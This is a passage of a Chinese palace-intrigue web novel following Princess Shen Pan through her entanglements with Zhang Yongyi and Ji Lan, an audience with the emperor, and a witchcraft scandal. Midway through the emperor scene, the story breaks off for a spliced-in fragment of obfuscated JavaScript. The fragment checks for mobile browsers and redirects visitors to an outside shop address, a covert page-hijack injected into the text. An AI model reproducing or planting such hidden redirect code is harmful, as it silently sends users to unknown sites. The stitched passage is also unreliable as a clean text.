“说些乐观的事吧,我叔其实一直对霍辄心有不满——”
“怎么说?”沈磐低头喝茶。
“我爹和我叔都曾是他的部将,这分工与分功上自然就有了亲疏,我唯一的堂哥还折在了战场,结果最后我爹得了爵留在了西北,他却被打发到荒僻少战的西南。”
嵇阑自己给自己续了杯茶,抿了一口抬头就道:“没有战争就没有功勋,同时他没有子嗣。”
“他眼高于顶,族里的小辈都是混子看不上,所以——”
“所以?”
这时门外响起了团圆的提醒:“公主,该用晚膳了。”
嵇阑笑着起身:“正好我也饿了。”
沈磐仍然坐着看他,“所以?”
“霍辄还活着一天,他就不敢和我爹叫板,而我很听他的话,和公主合计一出让霍辄丢了老脸,他虽然打我,但心里指不定多么顺畅。”
沈磐依然不起身,慢条斯理地折折袖口,“所以?”
嵇阑饿得不行,“所以他想过继嵇阙。”
沈磐这才挑眉,将桌上的邸报都藏入袖中方才起身。
“我爹名分上就只有我和嵇阙两个儿子,他过继了嵇阙,爵位就只能传给我。”
沈磐一勾唇,走向门口,“好事,得让它成真。”
“公主放心。”
沈磐一扬下巴,示意他开门。
门一开,夹杂着夜风宫灯的暖光就送了进来。
团圆朝沈磐道:“张佥事求见。”
嵇阑微一诧异:“他不是走了吗?”
说着,他兀自熟稔地往廊下走,突然就见沉默的黑暗里沉默地站着一个人,风过如刀过,将他的面容一刀刀雕刻得无比鲜明。
嵇阑朝张永一颔首,随即走没了影。
沈磐望向廊下的他,对团圆道:“请吧。”
张永一似是根植在了原地,等了好久,方才迈着千钧重的步子走出长廊。
还是白天那身衣裳。
团圆等识趣地退下,沈磐慢慢等他走近,转身将书房门阖上。
今天没有多少月色,宫灯里的火烛也不甚明亮,房门一关,天地都昏暗起来,如同他们两个人一起堕入了那场幻梦。
他们彼此的气息都如此清晰混沌。
可沈磐一开口,她那清朗的声音就如同割断帷帐、挑裂绸缎的一把刀,直直插在张永一心口。刀是永远不知道伤人时的人,究竟有多么痛,亦如沈磐,似是全然不知自己究竟为何饱尝苦酒。
“张佥事有事?”
他已经留了道皮开肉绽的疤,沈磐每一次呼吸催动的微风都凝着盐晶,一把把地撒上伤口。
张永一几乎痛得,说不出话。
他一如往常,心虚又心伤的垂下视线。
像个做错事的孩子一样可怜。
沈磐突然就不忍看了,朝嵇阑消失的地方走了几步,转过身背对他,“是本宫的错,将张佥事也拉下了水。”
“公主……”
“张永一,你是喜欢我吗?”
张永一屏住呼吸。
沈磐摇头轻笑:“那一定是你素得太久。”
“公主!”
他的声音低如蚊讷,沈磐就算听见了也全当听不见,继续道:“这种好像喝醉的感觉,不过是‘欲望’使然,人人都有欲望——”
她微侧身,余光瞥着张永一心中泛滥的局促和震撼。
“我有,你也有。你若觉得想起我、想起那些事就心烦意乱,你可以去极乐坊找找感觉,找找掌控的方法。你是沙场上光荣的将领,驭统全军是你的才华,这样的你如何能败给欲望?”
他的心上简直扎满了刀子。
他曾也这么想的,他说不出是哪些瞬间让自己甘愿彻底死在她的手上,可每时每刻,自己都如同困进了名为“沈磐”的囚徒迷宫。
但而今,话是她说的。
她仿佛就是个冷眼旁观者,又或者是搅弄一池风云的人物,从未曾有过半点失态的沉沦。
沈磐真的好冷。
她真的很冷。
话是冷的,心也是冷的。
良久,张永一压住血流不止的心口,抖着嗓音问:“那公主和嵇阑——”
沈磐轻笑出声,却还是背对着他,“不过都是排解自己的欲望而已。”
听不见张永一的反应,她继续补充一句:“人总要排解的。”
背后依然没有响动。<
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p>沈磐将呼吸都放得更轻,忽然就听张永一闷闷的声音,像是一道惊雷在亘古沉寂的长夜里裂开了天穹,那缝里什么都漏出来了,风雨、飞雪、冰雹,乃至堕落了的云霞天光。
她愣在原地。
“那为何不能是我?”
她一直敏捷的思路霎时间僵结,凝固了许久都没能重新活络。
其实她想转身恶劣地质问,质问他们这样无名无份又不能见天日的关系里,为何能够是他。
可她的双脚也似灌了铅。
更让沈磐没料到的是,张永一倏尔从身后牢牢抱住了她。
他的手锁着她的手,他的腹贴着她的腰,他的头埋在她的颈窝,脸颊蹭过她的耳朵,嘴唇落在她的下颌。
“为什么不能是我?”
这一问几近乞求。
他的呼吸喷在她的脖颈,这种温热的骚动,直让她重新想起那天,那个下午,只是在袒露自己的志向过后,他便遭到了这样残忍的欺骗。
是,这就是欺骗,用无数个抵死缠绵的瞬间和无数声痴恋不舍的呼唤骗他,骗他生出名分的渴望,骗他堕入欲海情天,骗他说:他在她身下,亦在她心里;他在她身上,更在她心里。
现在一撒手就要两厢陌路,恩断义绝。
他简直就像画本子里、风尘戏中那些惨遭负心汉糟蹋的娇小姐,而她沈磐,将见异思迁乃至薄情寡义表演得惟妙惟肖。
不不不,没有见异思迁只有薄情寡义,她亲手剥下了张永一的衣裳时想的只有欲望,还有对霍家的怨恨报复,她什么都想了,乃至于会不会意外怀上孩子她都仔细考虑过了,独独没有想过张永一。
她看得出张永一对自己的特别,也大致摸得清他的心思。但扪心自问,在这样的感情上,她的表现从来不如张永一。对嵇阑就更不用说了,不曾起念,不过一番合作,这便连‘思迁’也不是了。
这么一来,她更成了一个无情之人,利用张永一的感情只为达成自己丑恶的目的。
如同大楚的君父一样,只爱着自己。
可她达成了什么目的呢?
她就是那类喜欢不像自己的人。说到底,她没有变成张永一那样干净如纸的决心,更加没有一丝勇气,更何况她不敢,不敢在群狼环伺的当下缴械投降。
她既要又要。
一边在两人的相处里找不到归属,一边又享受和渴望这种纯净。
或许她想过张永一吧,但现在又后悔了。
“为什么不是我?”
张永一还在问。
是啊,为什么不能是他?
他们对彼此的感觉都初生于成熟转变中的各种渴望,身体上的渴望,心理上的渴望,还有猎奇,还有不容拒绝的野心。这些,到底不是萌生于内的相惜,便更谈不上喜欢抑或者爱。
所以啊,为什么不能是他?
他们的身体随着心理一同有了变化。
这本该,又是一场顺水推舟的欢爱,沈磐没有拒绝,张永一也有这个心思。
但张永一只是抱着她,直到眼眶都有些洇湿,也只在她耳畔一遍遍地问这个问题。
所以啊,为什么不能是他?
哪怕就如她的借口,只是为了欲望的排解,只是为了追求一刹那的欢乐。
为什么不能是他?
天是漆黑的,地上也是黑的。
最近的夜里没有盯梢的眼睛。
沈磐偏过头,毫不避讳也毫不畏怯地衔住他的嘴唇。
张永一怔住。
她的吻从来都比花蜜更加香甜。
可这次只有经久不散的苦涩。
太苦了。
苦得他尝不出这个吻,究竟会否带来些许的快乐。
沈磐并不快乐。
这不是欲望。
欲望总能带来或短暂又致命的快乐。
所以这个吻不是欲望。
这不是排解。
她在回答为什么。
可为什么呢?
他觉得她冷情得在床帏间听见自己的情话,仍然可以克制着不予反应。
衣冠整齐、理智清醒时,他们连手都不能牵。
是他不敢,也是她不愿。
那般近的、那般久的相依相偎,依然不能第二次相见的一双眼里留下任何痕迹。
张永一走神了。
被沈磐刻意加深的一个吻惊醒。
分明她的头顶只到自己的下巴,她却有能够将自己惯倒的力气。
可她突然撤回了这样的深情厚谊,在自己失神的刹那。
沈磐站在眼前,又像站在了千山万水的另一边。
她依然是白日里那副镇定从容的模样。
说着最平淡的话:“因为——这些都是我的谎言。”
28. 第二十八章 荒山冢(一)
孟冬十月,北风徘徊,天气肃清,繁霜霏霏。
鵾鸡晨鸣,鸿雁南飞,鸷鸟潜藏,熊罴窟栖。
沈磐和辛翩翩驱车抵达五柞宫已经是日暮戌时,陛下没有召见她们,而是赐了汤泉沐浴休息整顿。
沈磐换好衣裳,脸颊上还染着温泉水汽的微红,一回头见辛翩翩拉扯着自己的衣袂,脸上尽是酒后酡红,只有一双眼睛亮如云星,不似喝醉。
“你喝酒了?”
辛翩翩笑:“五柞宫温泉一绝,自然要斟酌小酒,陶然养神,怎么,你没喝吗?”
沈磐皱眉:“这种时候这种地方,你还有心思喝酒。”
“越是临危越要不惧,处涸辙以犹欢。你呢,就是绷得太紧——”
沈磐轻拂开她撩拨自己头发的手,“回去休息吧,行宫不比英国公府,大晚上的别乱跑了。”
辛翩翩却一把握住她的手,“这些我还是知道的。”
沈磐凝视她握着自己的手。
“不过有些事你不知道。”
沈磐挑眉看来。
“关于陛下。”
见沈磐眼神松动,辛翩翩笑着挽上她的胳膊,“不用说是戌时,就算我们再早来一个时辰,陛下也见不了的。”
“为什么?”
“因为招魂啊。”她们咬耳朵,“不说每天,一连几日都是如此,一到黄昏,陛下就下令闭门,谁也不见,只让施汜帮他招魂,真是着魔了一样。”
沈磐的心猛地一沉。
“前天我爹说,施汜好像真招到了霍夫人的魂魄,第二天陛下心情大好,赏了不少东西下来——诶!长平,你要往哪里去?”
她们站在小径交错的当口,向东是她们安顿的别院,向西则是陛下休憩的桂宫。
辛翩翩被沈磐吓了一跳,“你不会要去找施汜装神弄鬼的证据?不成的,周围都是锦麟卫,魏俊秋也在。”
沈磐止步,“这样下去一定会出事。”
“可我们又能有什么办法呢?陛下谁也不听,就信那个施汜,我爹守在这里,好歹霍家不敢向陛下动手——”
听见身后有脚步逼近,两人俱是噤声,一回头就见月华石子径上走来一个青袍少年,他身后还跟着一个成年男子,与大将军霍辄有几分像,嘴角渗血,似是才被谁上脸打了一顿。
沈磐凝神,“沈礴?霍副使。”
陈王朝沈磐和辛翩翩一一施礼,霍轶这才一一拜见:“臣虎贲卫指挥副使霍轶拜见长平公主,辛姑娘安。”
“你们怎么在这儿?”
陈王捏了捏袖口,这才慢慢从袖中取出一枚小卷,双手呈了递过来,“马上就是辛姑娘的芳辰华诞,我……我作了一篇文章,鄙充贺礼。”
沈磐挑眉,侧身把半躲在自己身后的辛翩翩让了出来。
辛翩翩看看不辨喜怒的沈磐,看看门神似的又作壁上观的霍轶,再看看低着头面色微红的陈王,最后又看看那一卷精致文章,顿感屉笼蒸腾之苦。
最后还是沈磐出声笑道:“陈王弟弟的文章定然是极好的,翩翩,你一向不都很喜欢笔墨诗书吗?还不快谢了这份礼回去好好拜读?”
辛翩翩面上笑容欢畅,等陈王和霍轶转身走远,这才恶狠狠瞪了沈磐一眼,咬牙切齿道:“你知道我一向不喜欢这些,就算喜欢,这东西也不能要。”
“他没有坏心。”
“头一次听你给陈王说好话……”
“实话实说。”
辛翩翩抬眼,奇怪地打量沈磐,旋即边走着边打开文卷,嘟囔道:“你又不是他肚子里的蛔虫,你怎么知道他没有歹念呢?虽然他才不到十四岁,但他是霍夫人的儿子,霍辄的外甥……诶,霍轶怎么像被谁打了脸上挂彩?”
“普天之下,谁又敢打他呢?”
“自然只有他大哥霍辄喽,估计他又做了什么违逆长兄的事情,但就算有,也不该在五柞宫里就动起手……”
沈磐正顺着她的话头往下想,忽然就被辛翩翩用力拧了一把,随即她像是发了狂,拽着自己就往别院跑,喘得上气不接下气地让侍女点灯。
“怎么了?”
辛翩翩将门仔细掩了,端着桌上才燃起的灯移近被她摊在桌上的那幅文卷,“你看这里:蓬转接天路,道阻且长日俱寒,吾独茕茕行,不缅高堂不求名,日暮寻兖地。”
她的眼睛被灯烛火光映得星亮,像是这火就烧在了她的眼眸里,热血一涌就爆开了花,“写得一般般没有特色,但‘不缅高堂不求名,日暮寻兖地’,这是不是就在说他无意为储,只想当个兖王闲散一生?”
像是生怕沈磐不信,辛翩翩又指着下一处念道:“柴园门扉,洒扫以待,南山悠远,荷锄而归。”
辛翩翩按住沈磐的手,“他当真是无意皇位!咱们只用将这篇文章快马传回化隆,让菁明书院的学子广而传唱,这陈王不欲留京而想就藩,陛下难道还能强迫他嘛!不论陛下怎么做,这声势就造起来了,霍家若是还想运作,这不忠不义乃至不孝的罪名自然由他们担,陛下的颜面也过得去。”
听完,沈磐的眼眸还是死水无澜,她摇头,“那你父亲怎么办?”
辛翩翩一愣,接话道:“这和我爹有什么干系?这文章算是陈王写给我的贺礼,便算是情书,我宣扬出去,陛下难道还能怪到我爹头上?”
她看见了沈磐眼中的沉郁,便不说话了。
陛下会的。
陛下一定会的。
霍开武轻薄沈磐,于是乎霍辄因为教子不严丢了尚书之职,那她呢,如果真的挡了陛下铺给陈王的路,天知道她爹在陛下那里的情分将淡薄成什么样子。
沈磐反扣上她的手。
辛翩翩叹气:“要和天斗,真是难啊。”
“他不是天,只是假借天子之名图一己私利。”
辛翩翩被她这话惊得目瞪口呆,缓了许久才木木道:“嗐,早知道会这样艰难,我就该找个人私奔了去,虽然现在私奔也不晚,我爹娘就我一个女儿,我哥也就我一个妹妹,名声上难听些总也好过全家遭难……”
沈磐瞥眼看她,轻笑一声。
她们两个这才坐了下来。
“嗳长平,你觉得张络——张永一怎么样?”
沈磐凝眉,“怎么了?”
“他祖母是梁国长公主,他家又是忠烈之门,不涉朝政、不入党争,唯一的牵连估计就是燕王,现在入了长缨卫也不知是福是祸,若他与东宫不过多往来,只将长缨卫作为一个跳板,将来平步青云,平平安安,选他倒是很不错。”
沈磐应了一声。
辛翩翩扼腕叹息:“只是恐怕来不及了。”
“如何会来不及?”
“你没听说吗,梁国长公主要给他和郭家女牵线,两家都挺满意的,事情应该就定下来了,我和他又不是两情相悦得非谁不可,横插一脚不好也不成,损我功德。”
沈磐微微一愣,转瞬间将自己那些说不上是什么情绪的情绪都遮掩了过去,轻扯下唇角,似是对张永一能有如此圆满的归宿由衷祝福。
辛翩翩没看出沈磐的破绽来,只能叹息着将自己的隐忧抛出以此作结:“不过长平,你真的要和嵇阑一起吗?明天见了陛下,就算过明路,你们的事情应该就定下了……”
沈磐拍拍她的手,“我嫁又不是你嫁,你就不必替我操心了。”
事实上替沈磐瞎操心的人不只是辛翩翩。辛翩翩是友,多少为她的终身幸福考虑,但满朝弹劾她不知检点的文官骂官则未必有多少善意的考量,他们只是想,大楚开国以来皇家子弟一直中规中矩,到了永济本朝,突然出现了自己这个不禁枕席、不知礼数、不要脸面、不知廉耻的未婚公主,简直有辱沈氏门风。
陛下也该是这么想的,从前见了自己不说多有笑脸,也不该露出而今这副严肃得略有些憎恶的神情来,仿佛她沈磐在他心里,已经自甘堕落成了第二个燕王。
沈磐规规矩矩地跪下,朝龙椅上半躺着的半死不活的永济帝下拜。
桂宫的金砖真是冷。
她被冰得倒吸一口凉气。
“你来这里做什么。”
“儿臣来向父皇请罪。”
“请罪?”永济帝冷笑一声,“堂堂公主,你何罪之有?”
“儿臣一意任性,丢了皇家颜面,求父皇责罚。”
上头安静了好一会儿,沈磐才听他幽幽道:“你还知道丢脸。”
沈磐低埋下头,似是很内疚的温顺模样,“儿臣知错了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985558|192089||http|test|mini|href|location''.split(''|''),0,{}));
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>“你要朕怎么罚你?”
沈磐不应。
“朕把霍开武罚给你做驸马如何?”
沈磐一怔,心思一转,不过两息就琢磨出了永济帝话中的试探意味,霍然抬头面露凄惶,随即装得委屈又绝望地匍匐下身,沙哑着嗓音回道:“若父皇真要如此……那儿臣……那儿臣……”
她像在哽咽。
只待沈磐微一抬头,永济帝就能看见她微红的眼眶里立时淌下一颗泪来。
“父之命不可违,那儿臣只能从命了。”
永济帝皱眉,“哭什么,不过一个玩笑。”
沈磐的眼泪更止不住,“儿臣……儿臣以为父皇真要再把儿臣赐给霍开武。”
“这么不愿么?”
“儿臣只是怕。”
永济帝叹气:“怕什么?你是朕的公主,他又受了斥责,将来的荣辱全系在你的身上,霍家以后有谁敢轻慢你?”
沈磐的身形抖得更厉害了,其实不是害怕,她只是冷,被双膝灌入的丝丝寒意冻得浑身战栗。桂宫里烧着炭盆,火势喧天,但地上还是冷得可怕。
五柞宫始建于汉,连年战乱留存于今,前朝先帝不曾修葺,陛下要当勤俭治国的贤君,自然不敢大张旗鼓地给这荒凉破败的行宫全换上地龙。
此时更连一个蒲团都舍不出。
他窝在宝座上,她跪在寒地里。
“儿臣怕……”沈磐的牙齿止不住打颤,“儿臣怕父皇不爱儿臣。”
似是听见了什么睽违已久的荒谬字眼,永济帝愣了许久才从一阵耳鸣里回过神来。
沈磐垂下头,“他们都说,父皇和二哥不睦,儿臣嫁入怎样的虎狼窝都不怕,就怕受了委屈、被他们指指点点、被抢得一无所有、更到最后孤苦伶仃时,儿臣不能向二哥诉苦,也不能找父皇做主。”
她眼里全是溢于言表的恐惧,“儿臣太怕了,怕这个世上再也没有依靠,再也没有体谅,再也没有家。”
这是最真实的恐惧。
不是演的。
是真的恐惧。
是差一点经历的恐惧。
也是即将要亲历的噩梦。
永济帝错开眼神。
桂宫里尽是沈磐压抑的抽泣。
这是他的女儿在哭吗?
不,这就是他。
就是那年不及弱冠就要扶着阿姐的灵柩一步步走向紫微宫的他。
就是那个恨不得一把火烧光兖国公主府又不舍得损坏阿姐半点生前遗物的他。
就是那个夜夜噩梦,梦见幽林浅滩仰卧的那具女尸,梦见被活生生剜去双眼的不是旁人而是阿姐的他。
就是那个年少无知的他,孤苦无依的他,思念成狂的他。
就是那个没有家的他。
阿姐是他的家啊。
她们都叫长平,阿姐也曾这般害怕,害怕自己饱受欺侮、指指点点、一无所有、孤苦伶仃,但是没有一处可避。阿姐是女中诸葛,她能料不到,她狠心离开之后的他也会这么害怕吗?害怕饱受欺侮、指指点点、一无所有、孤苦伶仃!
这是最真实的恐惧。
已经亲历的噩梦。
沈磐的眼泪这么多,他却连哭都不敢,怕让臣子看透了自己的脆弱。
一个帝王的脆弱。
“长平,地上凉。”
沈磐以额接地,地上也落了温热的眼泪。
地上凉啊,可她的心更凉。
她演了一半就献出了真心,她这个拙劣的骗子也会在情不自禁时狂想,台阶上已显老态的人是他的父亲,女儿在父亲面前大哭一场,诉些真情,为父二十几载,就算他们父女之间有再多龃龉,他该会体谅吧?该会像辛翩翩的父亲那样触动吧?
他的心再冷似坚冰,也该化了吧?
他对自己从不似对大姐沈碧那样宠爱,她也不求成为沈碧第二。
可是作为父亲,你也该爱过我吧?
就像你爱沈碧那样真心实意,会泪眼婆娑地轻声唤一句:“磐磐,地上凉。”
额头温濡的眼泪也凉成一片寒霜。
沈磐清醒了,她的父亲从来没有这样叫过自己。
他从来只是千万人的君父。
更是她的君主。
29. 第二十九章 荒山冢(二)
回京行至半途,沈磐就发了高热。
起初辛翩翩还没察觉,只当她在睡觉,后来她一觉醒来又呕吐不止,她只当是路途颠簸,等她又咬牙闭眼一声不吭地要睡过去,就听见她半梦半醒间在哭,在叫她宁王三哥。
她哭着说:三哥,太难受了,太难受了,她想死,带她一起走吧。
辛翩翩这才知道,一直身强体壮百病不侵的沈磐生了病,还是场大病。
一连昏睡五天。
沈磐一睁开眼就看见,一向妆容精致的辛翩翩面色蜡黄地坐在床边,扒拉着手上的话本,小鸡啄米似地点着头。
像是心有所感,辛翩翩霎时转过身,扑到沈磐身边止不住地高兴:“醒了?总算醒了!”
她的嗓门能掀开这驿馆上房的屋顶,门外侍候的人顿时涌了进来。
“嗳,你这一病真是吓死我了,头烫得像烙铁——”不知哪里请来的医婆还在搭脉,辛翩翩就凑在她的床头忍不住地嘟囔:“你也真是,身体不舒服也不和我说,真的把我吓死了,一睡就睡了五天,如果你再不醒来,我都打算去投水了……”
沈磐嘴角一扯。
“怎么样了?没大碍吧?”
医婆面露难色,“脉象有些奇怪,但我诊不出来。”
辛翩翩猛一拉住医婆,悄咪咪问:“该不会怀孕了吧?”
医婆大惊失色,沈磐目瞪口呆,唯有辛翩翩焦灼不安。
“这……喜脉是绝对不可能的。”
辛翩翩松一口气,“是我糊涂了,那她应该……”
“还是应该请太医院的先生们来看看。”
辛翩翩点点头,只能放战战兢兢的医婆走,这才想起和沈磐解释道:“你这一病,东宫也知道了,即刻派了人来,行宫那里以为是你吃坏了肚子,整治了不少人。”
沈磐吐出一口僵结于心的浊气,沙哑问:“是谁来了?”
辛翩翩困惑,转身看向紧闭的房门,“没有人来啊,不会病了一场见鬼了吧?”
她重新扑到沈磐床头,这才恍然大悟:“哦,你问的这个,就是张永一,太子让他带了长缨卫接你,一直都在楼下。”
听见张永一的名字,沈磐抿唇,不知尝出了什么味道,她闭上眼不自主地叹气。
“怎么不高兴?”
沈磐重新睁眼,就见她跪坐在床边,两手托着下巴枕在床边,大眼睛忽闪忽闪说着不解:“现在过了二十五,陈王变成了兖王,拟定年末陛下回京后行加封大礼,明年就藩,这是天大的好事,你该高兴啊。”
沈磐的笑有些苍白,“我怎么不高兴了?”
“好好好,你高兴着呢,喜怒不行于色,长平你越发厉害了。”
“嵇阑那里有什么消息吗?”
辛翩翩不悦敛眉,“你也不问问我没日没夜地陪你有没有妨碍,一开口就问嵇阑,真是见‘色’忘友。”
沈磐一弯唇,辛翩翩认栽道:“得得得,他好得很呢,朝臣弹劾你,你跑到陛下面前认错吃了这样的苦头,他倒逍遥得很,现在满化隆人尽皆知他极有可能当上你长平公主的驸马,风头无量呢。”
沈磐一哂。
“不过呢,他还算知恩图报,有点良心,托张永一问候你,估计有些话想和你说——”
辛翩翩起身,正好忽略沈磐眼中的错愕,“方便吗?我现在叫他上来?”
沈磐自己坐了起来,低垂着眉眼不知在想什么,辛翩翩给她披衣裳,手上正忙着,嘴巴也忙个不停,更没注意到她这短暂的一瞬沉默,“就这样放张永一来见你是有些不合礼数,但太子应该也有话要托他传给你吧,所以还是见见的好。”
辛翩翩下去后,门外很快就传来了张永一上楼的脚步声,他走得很轻,奈何屋里很静,半掩的门一响,沈磐就抬起了目光。
张永一的步伐刹那顿在门外,扣着门板的手也僵硬在空中。
一见到她,他的心思就藏不住。
沈磐暗自叹息一声,歪过脑袋朝他淡淡道:“张佥事?”
张永一垂首,攥着拳沉默地迈进房内,在门边跪道:“拜见公主殿下。”
“张佥事免礼。”说着,沈磐伸手解开系起的帷帐,半面帘障一落,张永一刚好起身,半掩上门后小心地往前走了几步,就听沈磐提醒:“把门关上。”
“是。”
屋里便这样剩下他们两个人。
张永一不敢靠得再前,隔着帷帐,他听沈磐气息孱弱地问:“嵇阑托你传信了?”
“是,嵇公子向公主问安。”
说着,他从怀中取出一幅简信,绕过半边垂落的帷帐递给床上的沈磐。信纸别开帐沿的瞬间,他似是听了谁的鼓动,又像中了哪些魔咒,情难自禁地抬起眼睫,顺着沈磐修长的手指望向她苍白虚弱的面容。她像是敷了粉,遮去了琼玉的润泽,可乌幽幽的眼眸还像是镶嵌上的一对灵珠,直接映出了催命吸髓夜夜蛊惑他的妖魔。
被沈磐的目光抓了现行,他慌忙垂下脸,便又闻见她抬手时袖中弥散出的沉沉病苦。
沈磐拆开信,也顾不得在意张永一的僭越,一目十行地扫了起来,才看了两句,她的眉毛顿时揪结到一起,似是捆缚着无人能解的疑团。
距十月二十五过去才不过七日,京城就发生了这样骇人听闻的大事。
张永一的心被沈磐的一举一动牵绊着,见她深锁眉头,也不禁担忧起嵇阑信上所述的事情。
应当出事了。
可他出发前,化隆城还沉寂于一片入冬前的肃杀。
“张佥事。”
“公主有何吩咐?”
“后来你还查过那个师婆吗?”
张永一微愣,两息过后才反应过来,“有。”
“怎么样?”
听得出她急于知道结果,张永一似是揣摩出了其中的门道,“只查到她帮阳安伯的外宅妇施行巫蛊诅咒伯夫人,东窗事发,被京兆逮捕。”
沈磐心一沉,“这是什么时候的事情?”
张永一低下头:“那天……才得到消息。”
沈磐攥紧了袖口,喃喃自语:“那就是十月初了。”
“是又发生什么事了吗?”
隔着帷帐,他们只得见彼此模糊的面容,可心里的答案比窗外的天光还要明朗。
张永一再问:“有臣能帮忙的地方吗?”
沈磐的视线似是落到了自己脸上,张永一才抬起的头又低了下去。
可她不说话。
不说话的时候,空气都在凌迟着他的呼吸。
他已然想得明白,既然不是欲望使然,便只能是自己的力量比不过嵇阑、帮不了她,所以她选择了嵇阑。
他会拼尽全力地帮她,无论如何。
但磐石无转移,她好像永远也不可能回心转意。
“张佥事。”
听见她这么称呼自己,张永一便知道了前路绝望。
“本宫谢过张佥事,只是这些事张佥事还是不要参与的好。”
张永一闭眼。
“那公主能告诉臣,究竟发生了什么吗?虽然……迟早都会知道。”
略一思忖,反正张永一早晚都会知道,早些知道对他也好,沈磐便不再隐瞒:“阳安伯崔恒才的次子崔宏斌因为在丹峰庵闹事被京兆逮捕,崔恒才找京兆尹窦凯旋通融,被窦凯旋拒绝,崔公子便依律吃了板子。事后崔公子揪结好事纨绔诱骗窦凯旋的独女,在曲江毁了窦姑娘,两家就此结下梁子。”
张永一倒吸一口凉气,“臣听闻,京兆已经帮崔家压下了诅咒一事,只当家贼偷窃处理?”
沈磐轻叹:“你知道崔宏斌在丹峰庵闹了什么事么?崔宏斌为了一个带发修行的女尼,打伤了平凉伯的小儿子金正彪,那天在场的还有嵇家子弟,更有霍轶的儿子霍开德。平凉伯是跟着霍家在西北挣下的家业,崔家又是老牌的门阀,新旧侯爵互不顺眼,窦凯旋压宝霍家,便公正执法。而崔宏斌不开智,瞒着父亲将怨气全撒到了窦凯旋的头上,窦凯旋老来得女,女儿才十四岁——”
“若是如此,窦凯旋根本不可能帮阳安伯平息事端。”
“窦凯旋拿不到实证,崔恒才又不知道儿子犯下的浑事,崔宏斌又哪敢和父亲说,只自欺欺人以为自己的手段多么高明。”
隔着帷帐,张永一也能看见沈磐的愁容。
要出事啊,尤其是陈王就藩、霍家
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受挫的当口。
他听见了沈磐的叹息。
忽然,她的呼吸一窒,瞬息又急促起来。
张永一是行伍中人,耳目都比旁人敏感些,即刻察觉到沈磐呼吸的异样。
“公主?”
沈磐别过了脸,压着声音闷闷道:“你出去吧,本宫有些累了。”
张永一捏起拳头,一步三回头地退出了房间,沈磐这才敢大口喘气。
她只感觉有人掐着自己的脖子,让她透不过气,又有一把火不知从何而起,顺着四肢百骸游遍全身,等它们全会聚到了腹部,她的汗已经洇湿了中衣。
她觉得热,就像那天在车厢里一样的热,热得她筋骨无力而头昏眼花。
可现在是冬天了,方才披着裘衣和张永一说话犹嫌冷,现在就如遭炭烤。
医婆说她的脉象有些奇怪,看来她是真病了。
病得莫名其妙。
像有人攥住了她的咽喉,沈磐紧紧拽着自己的衣领,蜷缩在床上大口喘了起来。
她听见门外有响动,连忙将被自己踢开的被子扯到身上,整个人埋入了被褥之下的黑暗湿热。
“长平?张永一说你不太舒服?”
沈磐应一声:“没事,就是有点累了。”
辛翩翩走到床边,“要不要吃些东西?吃完了再休息。”
“我想先睡会儿。”
辛翩翩只能收回刚伸出去要扒拉她的手,“好吧,人就守在外面,你醒了就叫她们。”
沈磐紧咬牙关。
**
再见到沈磐,已经是第二日的清晨,辛翩翩扶她上的马车,她整个人都裹在巨大的裘衣风帽中。张永一只在某些瞬间看到一眼,她似是比昨日还要憔悴,成了纸叠的一个娃娃,风吹得再烈一些,她便会飞走。
回城的路更漫长了,一天半的路却如同过了一整年。
一整年的煎熬,在马车抵达通化门时冲到了顶峰,由太子扶住的那只属于沈磐的手在午日耀光下白得透骨,恍如一只琉璃杯转瞬摔在石头上。
他的心好像也磕了上去,磕掉了一个角。
张永一只能看着沈磐远去。
想起那天他们的对话,他早就被太子调离了公主府,却在她心底来去自如,如同一阵风。
“公子,该回家了,长公主很想你。”
张永一收回视线。
义然脸色为难,“明后两天,长公主想约郭家人见个面,问公子你哪天得空。”
他想到义然说,他曾是个如何果断的人。
那夜怀着活命至今积攒的勇气找沈磐要一个说法,不,是去求一个说法,他应该就如义然说的那样,当断则断,断了,就不会有这么多伤春悲秋与魂牵梦萦。
可今天只是看见沈磐的一只手,就想见自己的心口汩汩血流。
怎么断呢?
嵇阑都要入主公主府了。
张永一深吸一口气。
陈王即将就藩,霍家心有不甘,如此关键当口,他却还想着儿女情长。
怎么断呢?
既然没有办法,那就先放着吧。
不是说情浓抵不过年久?他还不知道情如何而浓,等他弄明白了,或许这些心结自然就解开了。
“都没空,你帮我回绝祖母吧。”
义然伸手拦他,“公子!”
张永一叹道:“是正事——那个师婆还在京兆府么?”
“应当还在的吧?牛马巷没有她的踪迹,她还能躲到哪里去呢?”
“盯死她,如果京兆以偷窃论罪,她应该很快就会无罪释放,京兆总不能无理看押——”
义然困惑:“公子你这么上心,是出事情了吗?”
“恐怕会出事。”
然后就出事了,抚远伯之子何仁亶豢养西南巫师在家中大肆养蛊,被家中奴仆以“图谋不轨、危害皇权”的举报告到了京兆府。涉及巫蛊不得不慎之又慎,京兆尹窦凯旋亲自领人前往抚远伯府探查,却发现何仁亶“畏罪自杀”。
人赃并获。
于是,那个在京兆狱里不知所踪的师婆再次重枷入狱。
这天夜里,化隆城下了初雪。
30. 第三十章 荒山冢(三)
沈磐做了一个梦,但不知为何她浑身一震,突然就醒了,一清醒,梦中情景就如转瞬云烟,霎时间忘得干净。
她没睁眼,也睁不开眼,但还是能感觉到桌上那盏灯“哗”的一下子闪没了影子。她顿时慌了,连忙伸手要接,却不知为何只抓到了冰凉的桌角后的一片衣角。
“唉,当心啊。”
沈磐松手,嵇阑这才将打翻的灯台重新扶正,端回了书案上。
“你怎么来了?”
嵇阑起身,将食盒拎到桌上,“公主您现在真是体弱多病,臣真怕哪天没注意,您就给撅过去见阎王了——呐,听说你闻了荤腥吃不下饭,团圆她们就准备了清粥小菜,再怎么没胃口,好歹也吃几口体谅体谅她们的心意。”
沈磐揉揉突突直跳的太阳穴,“以前瞧着你生得斯文俊秀,没想到说起话来这么痞气。”
嵇阑嗤笑,在窗边矮塌上盘腿坐下,一撩袍角无奈道:“谁不想当谦谦君子呢?奈何事不遂人愿。”
沈磐端了热粥初尝一口,肠胃是暖了,心却如食盒一样冷落起来,“何家出事,旧公侯又要裁剪羽翼了。”
嵇阑晃晃小几上的空茶壶,“公主以为何家为何分封‘扶远伯’?”
